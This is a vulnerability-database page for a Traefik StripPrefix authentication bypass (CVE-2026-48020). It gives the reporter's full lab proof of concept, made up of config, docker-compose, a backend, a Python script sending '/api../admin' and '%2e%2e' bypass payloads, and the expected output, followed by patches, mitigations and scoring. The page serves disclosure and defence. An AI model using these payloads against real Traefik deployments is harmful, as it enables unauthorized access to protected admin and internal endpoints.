Vulnerability-Lookup

GHSA-XF64-8MW2-4GR2

Vulnerability from github – Published: 2026-06-11 13:26 – Updated: 2026-09-02 15:34

Summary

Traefik has a StripPrefix Route-Level Auth Bypass via Path Normalization

Details

Summary

There is a high severity vulnerability in Traefik's StripPrefix middleware that allows an unauthenticated attacker to bypass route-level authentication and authorization. When a public router matches on a PathPrefix rule and applies the StripPrefix middleware, a request path containing .. or its percent-encoded form %2e%2e can match the public route at routing time and then, after the prefix is stripped and the path is normalized, resolve to a path served by a separate, authenticated router. As a result, an attacker can reach protected backend paths — such as admin or internal configuration endpoints — without satisfying the authentication middleware attached to the protected router.

Patches

https://github.com/traefik/traefik/releases/tag/v2.11.48
https://github.com/traefik/traefik/releases/tag/v3.6.19
https://github.com/traefik/traefik/releases/tag/v3.7.3

For more information

If there are any questions or comments about this advisory, please open an issue.

Original Description # Traefik StripPrefix Route-Level Auth Bypass via Path Normalization (/api../) ## Summary A route-level authentication/authorization bypas was found in Traefik when `PathPrefix`-based public routes are combined with `StripPrefix`. A request using `/api../` or `/api%2e%2e/` can avoid protected router rules at the routing stage, but after `StripPrefix`, the path is normalized and forwarded to the backend as a protected path such as `/admin` or `/internal/config`. This is reproducible on patched/latest Traefik versions and appears related to, but distinct from, previously disclosed `StripPrefixRegex` / path-normalization issues. This report specifically affects `StripPrefix`. ## Affected Versions Tested | Image | Observed Version | Result | |---|---|---| | `traefik:v2.11` | `v2.11.46` | Affected | | `traefik:v3.6` | `v3.6.17` | Affected | | `traefik:latest` | `v3.7.1` | Affected | ### Lab Contrast | Image | Result | |---|---| | `traefik:v2.10` | Not reproduced in lab | | `traefik:v3.5` | Not reproduced in lab | ## Vulnerable Configuration Pattern The issue appears when: - a broad public route strips a prefix - while a separate protected route is intended to guard internal/admin paths

http:
  routers:
    public-api:
      rule: 'PathPrefix(`/api`) && !PathPrefix(`/api/admin`) && !PathPrefix(`/api/internal`)'
      entryPoints:
        - web
      middlewares:
        - strip-api
      service: backend

    protected:
      rule: 'PathPrefix(`/admin`) || PathPrefix(`/internal`)'
      entryPoints:
        - web
      middlewares:
        - auth
      service: backend

  middlewares:
    strip-api:
      stripPrefix:
        prefixes:
          - /api

    auth:
      basicAuth:
        users:
          - 'test:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/'

  services:
    backend:
      loadBalancer:
        servers:
          - url: http://backend:9000

## Observed Behavior ### Direct Protected Paths These are correctly blocked. | Request | Expected | Observed | |---|---|---| | `GET /admin` | Blocked | `401` | | `GET /internal/config` | Blocked | `401` | ### Expected Public Exclusions These do not expose protected backend paths. | Request | Expected | Observed | |---|---|---| | `GET /api/admin` | Not routed to protected backend path | `404` | | `GET /api/internal/config` | Not routed to protected backend path | `404` | ### Bypass Payloads These reach protected backend paths. | Request | Observed Status | Backend Receives | |---|---|---| | `GET /api../admin` | `200` | `/admin` | | `GET /api%2e%2e/admin` | `200` | `/admin` | | `GET /api../internal/config` | `200` | `/internal/config` | | `GET /api%2e%2e/internal/config` | `200` | `/internal/config` | ## Minimal PoC ### docker-compose.yml

services:
  traefik:
    image: traefik:v3.7
    command:
      - --providers.file.filename=/etc/traefik/dynamic.yml
      - --entrypoints.web.address=:8080
      - --accesslog=true
    ports:
      - "127.0.0.1:18080:8080"
    volumes:
      - ./dynamic.yml:/etc/traefik/dynamic.yml:ro
    depends_on:
      - backend

  backend:
    image: python:3.12-slim
    working_dir: /app
    command: python backend.py
    volumes:
      - ./backend.py:/app/backend.py:ro
    expose:
      - "9000"

### dynamic.yml

http:
  routers:
    public-api:
      rule: 'PathPrefix(`/api`) && !PathPrefix(`/api/admin`) && !PathPrefix(`/api/internal`)'
      entryPoints:
        - web
      middlewares:
        - strip-api
      service: backend

    protected:
      rule: 'PathPrefix(`/admin`) || PathPrefix(`/internal`)'
      entryPoints:
        - web
      middlewares:
        - auth
      service: backend

  middlewares:
    strip-api:
      stripPrefix:
        prefixes:
          - /api

    auth:
      basicAuth:
        users:
          - 'test:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/'

  services:
    backend:
      loadBalancer:
        servers:
          - url: http://backend:9000

### backend.py

from http.server import BaseHTTPRequestHandler, HTTPServer
import json

class Handler(BaseHTTPRequestHandler):
    def log_message(self, fmt, *args):
        return

    def _json(self, status, obj):
        body = json.dumps(obj).encode()
        self.send_response(status)
        self.send_header("Content-Type", "application/json")
        self.send_header("Content-Length", str(len(body)))
        self.end_headers()
        self.wfile.write(body)

    def do_GET(self):
        if self.path == "/admin":
            self._json(200, {
                "seen_path": self.path,
                "secret": "ADMIN_SECRET_REACHED"
            })
        elif self.path == "/internal/config":
            self._json(200, {
                "seen_path": self.path,
                "secret": "TRAEFIK_LAB_INTERNAL_CONFIG"
            })
        elif self.path == "/admin/exec":
            self._json(200, {
                "seen_path": self.path,
                "rce_chain_marker": True,
                "note": "protected execution endpoint reached"
            })
        else:
            self._json(404, {
                "seen_path": self.path,
                "secret": None
            })

HTTPServer(("0.0.0.0", 9000), Handler).serve_forever()

### poc.py

#!/usr/bin/env python3
from urllib.request import Request, urlopen
from urllib.error import HTTPError

BASE = "http://127.0.0.1:18080"

PATHS = [
    "/admin",
    "/internal/config",
    "/api/admin",
    "/api/internal/config",
    "/api../admin",
    "/api%2e%2e/admin",
    "/api../internal/config",
    "/api%2e%2e/internal/config",
    "/admin/exec",
    "/api/admin/exec",
    "/api../admin/exec",
    "/api%2e%2e/admin/exec",
]

for path in PATHS:
    req = Request(BASE + path)
    try:
        with urlopen(req, timeout=5) as r:
            status = r.status
            body = r.read().decode(errors="replace")
    except HTTPError as e:
        status = e.code
        body = e.read().decode(errors="replace")

    print(f"{path:28} {status} {body[:180]}")

### Run

docker compose up -d
python3 poc.py

## Expected Vulnerable Output

/admin                       401
/internal/config             401
/api/admin                   404
/api/internal/config         404
/api../admin                 200  backend seen_path=/admin
/api%2e%2e/admin             200  backend seen_path=/admin
/api../internal/config       200  backend seen_path=/internal/config
/api%2e%2e/internal/config   200  backend seen_path=/internal/config
/api../admin/exec            200  protected execution endpoint reached
/api%2e%2e/admin/exec        200  protected execution endpoint reached

## Root Cause Hypothesis The vulnerable behavior appears to be caused by path normalization after prefix stripping.

Incoming path:              /api../admin
After StripPrefix("/api"):  /../admin
After JoinPath():           /admin

The request does not match the protected `/admin` router at the routing stage, but the backend receives `/admin` after normalization. The relevant behavior appears related to `StripPrefix` calling `req.URL.JoinPath()` after removing the prefix in newer versions. ## Security Impact An unauthenticated network attacker can bypass intended Traefik route-level authentication/authorization boundaries and access backend paths that the operator intended to protect with a separate protected router. Potential impact includes: - Access to protected admin paths - Access to internal configuration endpoints - Exposure of secrets returned by internal backends - Access to protected backend management functionality - Conditional RCE if the protected backend exposes an execution primitive In the local lab, a protected `/admin/exec` endpoint was reachable through `/api../admin/exec`, demonstrating a conditional RCE chain when the backend contains an execution primitive. This is not a standalone Traefik RCE claim. It is an authentication/authorization boundary bypass that can expose protected backend functionality. ## Suggested Severity Suggested CVSS is **10.0 Critical** with Scope Changed, because the bypass crosses the Traefik route-level authorization boundary and exposes protected backend functionality.

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N

Scope Changed was selected because the request bypasses Traefik's route-level authorization boundary and reaches backend paths that are intended to be protected by a separate authenticated router. If the vendor treats Traefik and the backend as the same security scope, the score may be interpreted as **9.1 Critical** with Scope Unchanged:

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

The issue was submitted with the stronger Scope Changed interpretation, but the maintainers may adjust the final CVSS score during triage. ## Weakness Primary CWE: - `CWE-863: Incorrect Authorization` Related weakness candidates: - `CWE-180: Incorrect Behavior Order: Validate Before Canonicalize` - `CWE-22: Improper Limitation of a Pathname to a Restricted Directory` ## Mitigation Verified in Lab The bypass was blocked when using a stricter prefix boundary:

PathRegexp(`^/api(/|$)`)

or:

PathPrefix(`/api/`) with StripPrefix(`/api/`)

## Relation to Existing Advisories This appears related to the same vulnerability family as prior Traefik path normalization / `StripPrefixRegex` bypass advisories, but it affects `StripPrefix` and remains reproducible on patched/latest versions tested above. This was reported as a possible incomplete fix or bypass variant rather than assuming it is a duplicate. ## Reporter WonYun / kyun0

Severity

10.0 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N

7.8 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.11.48"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.6.19"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.7.0-ea.1"
            },
            {
              "fixed": "3.7.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-48020"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-288"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-11T13:26:57Z",
    "nvd_published_at": "2026-06-23T20:16:47Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThere is a high severity vulnerability in Traefik\u0027s `StripPrefix` middleware that allows an unauthenticated attacker to bypass route-level authentication and authorization. When a public router matches on a `PathPrefix` rule and applies the `StripPrefix` middleware, a request path containing `..` or its percent-encoded form `%2e%2e` can match the public route at routing time and then, after the prefix is stripped and the path is normalized, resolve to a path served by a separate, authenticated router. As a result, an attacker can reach protected backend paths \u2014 such as admin or internal configuration endpoints \u2014 without satisfying the authentication middleware attached to the protected router.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v2.11.48\n- https://github.com/traefik/traefik/releases/tag/v3.6.19\n- https://github.com/traefik/traefik/releases/tag/v3.7.3\n\n## For more information\n\nIf there are any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\n# Traefik StripPrefix Route-Level Auth Bypass via Path Normalization (/api../)\n\n## Summary\n\nA route-level authentication/authorization bypas was found in Traefik when `PathPrefix`-based public routes are combined with `StripPrefix`.\n\nA request using `/api../` or `/api%2e%2e/` can avoid protected router rules at the routing stage, but after `StripPrefix`, the path is normalized and forwarded to the backend as a protected path such as `/admin` or `/internal/config`.\n\nThis is reproducible on patched/latest Traefik versions and appears related to, but distinct from, previously disclosed `StripPrefixRegex` / path-normalization issues.\n\nThis report specifically affects `StripPrefix`.\n\n## Affected Versions Tested\n\n| Image | Observed Version | Result |\n|---|---|---|\n| `traefik:v2.11` | `v2.11.46` | Affected |\n| `traefik:v3.6` | `v3.6.17` | Affected |\n| `traefik:latest` | `v3.7.1` | Affected |\n\n### Lab Contrast\n\n| Image | Result |\n|---|---|\n| `traefik:v2.10` | Not reproduced in lab |\n| `traefik:v3.5` | Not reproduced in lab |\n\n## Vulnerable Configuration Pattern\n\nThe issue appears when:\n\n- a broad public route strips a prefix\n- while a separate protected route is intended to guard internal/admin paths\n\n```yaml\nhttp:\n  routers:\n    public-api:\n      rule: \u0027PathPrefix(`/api`) \u0026\u0026 !PathPrefix(`/api/admin`) \u0026\u0026 !PathPrefix(`/api/internal`)\u0027\n      entryPoints:\n        - web\n      middlewares:\n        - strip-api\n      service: backend\n\n    protected:\n      rule: \u0027PathPrefix(`/admin`) || PathPrefix(`/internal`)\u0027\n      entryPoints:\n        - web\n      middlewares:\n        - auth\n      service: backend\n\n  middlewares:\n    strip-api:\n      stripPrefix:\n        prefixes:\n          - /api\n\n    auth:\n      basicAuth:\n        users:\n          - \u0027test:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/\u0027\n\n  services:\n    backend:\n      loadBalancer:\n        servers:\n          - url: http://backend:9000\n```\n\n## Observed Behavior\n\n### Direct Protected Paths\n\nThese are correctly blocked.\n\n| Request | Expected | Observed |\n|---|---|---|\n| `GET /admin` | Blocked | `401` |\n| `GET /internal/config` | Blocked | `401` |\n\n### Expected Public Exclusions\n\nThese do not expose protected backend paths.\n\n| Request | Expected | Observed |\n|---|---|---|\n| `GET /api/admin` | Not routed to protected backend path | `404` |\n| `GET /api/internal/config` | Not routed to protected backend path | `404` |\n\n### Bypass Payloads\n\nThese reach protected backend paths.\n\n| Request | Observed Status | Backend Receives |\n|---|---|---|\n| `GET /api../admin` | `200` | `/admin` |\n| `GET /api%2e%2e/admin` | `200` | `/admin` |\n| `GET /api../internal/config` | `200` | `/internal/config` |\n| `GET /api%2e%2e/internal/config` | `200` | `/internal/config` |\n\n## Minimal PoC\n\n### docker-compose.yml\n\n```yaml\nservices:\n  traefik:\n    image: traefik:v3.7\n    command:\n      - --providers.file.filename=/etc/traefik/dynamic.yml\n      - --entrypoints.web.address=:8080\n      - --accesslog=true\n    ports:\n      - \"127.0.0.1:18080:8080\"\n    volumes:\n      - ./dynamic.yml:/etc/traefik/dynamic.yml:ro\n    depends_on:\n      - backend\n\n  backend:\n    image: python:3.12-slim\n    working_dir: /app\n    command: python backend.py\n    volumes:\n      - ./backend.py:/app/backend.py:ro\n    expose:\n      - \"9000\"\n```\n\n### dynamic.yml\n\n```yaml\nhttp:\n  routers:\n    public-api:\n      rule: \u0027PathPrefix(`/api`) \u0026\u0026 !PathPrefix(`/api/admin`) \u0026\u0026 !PathPrefix(`/api/internal`)\u0027\n      entryPoints:\n        - web\n      middlewares:\n        - strip-api\n      service: backend\n\n    protected:\n      rule: \u0027PathPrefix(`/admin`) || PathPrefix(`/internal`)\u0027\n      entryPoints:\n        - web\n      middlewares:\n        - auth\n      service: backend\n\n  middlewares:\n    strip-api:\n      stripPrefix:\n        prefixes:\n          - /api\n\n    auth:\n      basicAuth:\n        users:\n          - \u0027test:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/\u0027\n\n  services:\n    backend:\n      loadBalancer:\n        servers:\n          - url: http://backend:9000\n```\n\n### backend.py\n\n```python\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nimport json\n\nclass Handler(BaseHTTPRequestHandler):\n    def log_message(self, fmt, *args):\n        return\n\n    def _json(self, status, obj):\n        body = json.dumps(obj).encode()\n        self.send_response(status)\n        self.send_header(\"Content-Type\", \"application/json\")\n        self.send_header(\"Content-Length\", str(len(body)))\n        self.end_headers()\n        self.wfile.write(body)\n\n    def do_GET(self):\n        if self.path == \"/admin\":\n            self._json(200, {\n                \"seen_path\": self.path,\n                \"secret\": \"ADMIN_SECRET_REACHED\"\n            })\n        elif self.path == \"/internal/config\":\n            self._json(200, {\n                \"seen_path\": self.path,\n                \"secret\": \"TRAEFIK_LAB_INTERNAL_CONFIG\"\n            })\n        elif self.path == \"/admin/exec\":\n            self._json(200, {\n                \"seen_path\": self.path,\n                \"rce_chain_marker\": True,\n                \"note\": \"protected execution endpoint reached\"\n            })\n        else:\n            self._json(404, {\n                \"seen_path\": self.path,\n                \"secret\": None\n            })\n\nHTTPServer((\"0.0.0.0\", 9000), Handler).serve_forever()\n```\n\n### poc.py\n\n```python\n#!/usr/bin/env python3\nfrom urllib.request import Request, urlopen\nfrom urllib.error import HTTPError\n\nBASE = \"http://127.0.0.1:18080\"\n\nPATHS = [\n    \"/admin\",\n    \"/internal/config\",\n    \"/api/admin\",\n    \"/api/internal/config\",\n    \"/api../admin\",\n    \"/api%2e%2e/admin\",\n    \"/api../internal/config\",\n    \"/api%2e%2e/internal/config\",\n    \"/admin/exec\",\n    \"/api/admin/exec\",\n    \"/api../admin/exec\",\n    \"/api%2e%2e/admin/exec\",\n]\n\nfor path in PATHS:\n    req = Request(BASE + path)\n    try:\n        with urlopen(req, timeout=5) as r:\n            status = r.status\n            body = r.read().decode(errors=\"replace\")\n    except HTTPError as e:\n        status = e.code\n        body = e.read().decode(errors=\"replace\")\n\n    print(f\"{path:28} {status} {body[:180]}\")\n```\n\n### Run\n\n```bash\ndocker compose up -d\npython3 poc.py\n```\n\n## Expected Vulnerable Output\n\n```text\n/admin                       401\n/internal/config             401\n/api/admin                   404\n/api/internal/config         404\n/api../admin                 200  backend seen_path=/admin\n/api%2e%2e/admin             200  backend seen_path=/admin\n/api../internal/config       200  backend seen_path=/internal/config\n/api%2e%2e/internal/config   200  backend seen_path=/internal/config\n/api../admin/exec            200  protected execution endpoint reached\n/api%2e%2e/admin/exec        200  protected execution endpoint reached\n```\n\n## Root Cause Hypothesis\n\nThe vulnerable behavior appears to be caused by path normalization after prefix stripping.\n\n```text\nIncoming path:              /api../admin\nAfter StripPrefix(\"/api\"):  /../admin\nAfter JoinPath():           /admin\n```\n\nThe request does not match the protected `/admin` router at the routing stage, but the backend receives `/admin` after normalization.\n\nThe relevant behavior appears related to `StripPrefix` calling `req.URL.JoinPath()` after removing the prefix in newer versions.\n\n## Security Impact\n\nAn unauthenticated network attacker can bypass intended Traefik route-level authentication/authorization boundaries and access backend paths that the operator intended to protect with a separate protected router.\n\nPotential impact includes:\n\n- Access to protected admin paths\n- Access to internal configuration endpoints\n- Exposure of secrets returned by internal backends\n- Access to protected backend management functionality\n- Conditional RCE if the protected backend exposes an execution primitive\n\nIn the local lab, a protected `/admin/exec` endpoint was reachable through `/api../admin/exec`, demonstrating a conditional RCE chain when the backend contains an execution primitive.\n\nThis is not a standalone Traefik RCE claim. It is an authentication/authorization boundary bypass that can expose protected backend functionality.\n\n## Suggested Severity\n\nSuggested CVSS is **10.0 Critical** with Scope Changed, because the bypass crosses the Traefik route-level authorization boundary and exposes protected backend functionality.\n\n```text\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N\n```\n\nScope Changed was selected because the request bypasses Traefik\u0027s route-level authorization boundary and reaches backend paths that are intended to be protected by a separate authenticated router.\n\nIf the vendor treats Traefik and the backend as the same security scope, the score may be interpreted as **9.1 Critical** with Scope Unchanged:\n\n```text\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N\n```\n\nThe issue was submitted with the stronger Scope Changed interpretation, but the maintainers may adjust the final CVSS score during triage.\n\n## Weakness\n\nPrimary CWE:\n\n- `CWE-863: Incorrect Authorization`\n\nRelated weakness candidates:\n\n- `CWE-180: Incorrect Behavior Order: Validate Before Canonicalize`\n- `CWE-22: Improper Limitation of a Pathname to a Restricted Directory`\n\n## Mitigation Verified in Lab\n\nThe bypass was blocked when using a stricter prefix boundary:\n\n```text\nPathRegexp(`^/api(/|$)`)\n```\n\nor:\n\n```text\nPathPrefix(`/api/`) with StripPrefix(`/api/`)\n```\n\n## Relation to Existing Advisories\n\nThis appears related to the same vulnerability family as prior Traefik path normalization / `StripPrefixRegex` bypass advisories, but it affects `StripPrefix` and remains reproducible on patched/latest versions tested above.\n\nThis was reported as a possible incomplete fix or bypass variant rather than assuming it is a duplicate.\n\n## Reporter\n\nWonYun / kyun0\n\n\u003c/details\u003e",
  "id": "GHSA-xf64-8mw2-4gr2",
  "modified": "2026-09-02T15:34:19Z",
  "published": "2026-06-11T13:26:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/security/advisories/GHSA-xf64-8mw2-4gr2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48020"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:62260"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-48020"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2491915"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/traefik/traefik"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/releases/tag/v2.11.48"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/releases/tag/v3.6.19"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/releases/tag/v3.7.3"
    },
    {
      "type": "WEB",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-48020.json"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Traefik has a StripPrefix Route-Level Auth Bypass via Path Normalization"
}

CVE-2026-48020 (GCVE-0-2026-48020)

Vulnerability from cvelistv5 – Published: 2026-06-23 19:10 – Updated: 2026-09-02 12:04

Title

Traefik StripPrefix Route-Level Auth Bypass via Path Normalization

Summary

Traefik is an HTTP reverse proxy and load balancer. Prior to 2.11.48, 3.6.19, and 3.7.3, there is a high severity vulnerability in Traefik's StripPrefix middleware that allows an unauthenticated attacker to bypass route-level authentication and authorization. When a public router matches on a PathPrefix rule and applies the StripPrefix middleware, a request path containing .. or its percent-encoded form %2e%2e can match the public route at routing time and then, after the prefix is stripped and the path is normalized, resolve to a path served by a separate, authenticated router. As a result, an attacker can reach protected backend paths — such as admin or internal configuration endpoints — without satisfying the authentication middleware attached to the protected router. This vulnerability is fixed in 2.11.48, 3.6.19, and 3.7.3.

Severity

7.8 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N

9.1 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

SSVC

Exploitation: none Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-06-24 13:37 UTC

CWE

CWE-288 - Authentication Bypass Using an Alternate Path or Channel
CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Assigner

GitHub_M mitre root

References

8 references

URL	Tags
https://github.com/traefik/traefik/security/advis…	x_refsource_CONFIRM
https://github.com/traefik/traefik/releases/tag/v…	x_refsource_MISC
https://github.com/traefik/traefik/releases/tag/v3.6.19	x_refsource_MISC
https://github.com/traefik/traefik/releases/tag/v3.7.3	x_refsource_MISC
https://access.redhat.com/security/cve/CVE-2026-48020	vdb-entryx_refsource_REDHAT
https://bugzilla.redhat.com/show_bug.cgi?id=2491915	issue-trackingx_refsource_REDHAT
https://security.access.redhat.com/data/csaf/v2/v…	x_sadp-csaf-vex
https://access.redhat.com/errata/RHSA-2026:62260	vendor-advisoryx_refsource_REDHAT

Impacted products

2 products

Vendor	Product	Version
traefik	traefik	Affected: >= 3.7.0-ea.1, < 3.7.3 Affected: >= 3.0.0-beta1, < 3.6.19 Affected: < 2.11.48
Red Hat	Red Hat OpenShift Dev Spaces 3.30	Unaffected: 1787756799 , < * (rpm) cpe:/a:redhat:openshift_devspaces:3.30::el9

Show details on NVD website

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Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

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Action not permitted

GHSA-XF64-8MW2-4GR2

Summary

Patches

For more information

CVE-2026-48020 (GCVE-0-2026-48020)

Tags

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Nomenclature

Related by attack behaviour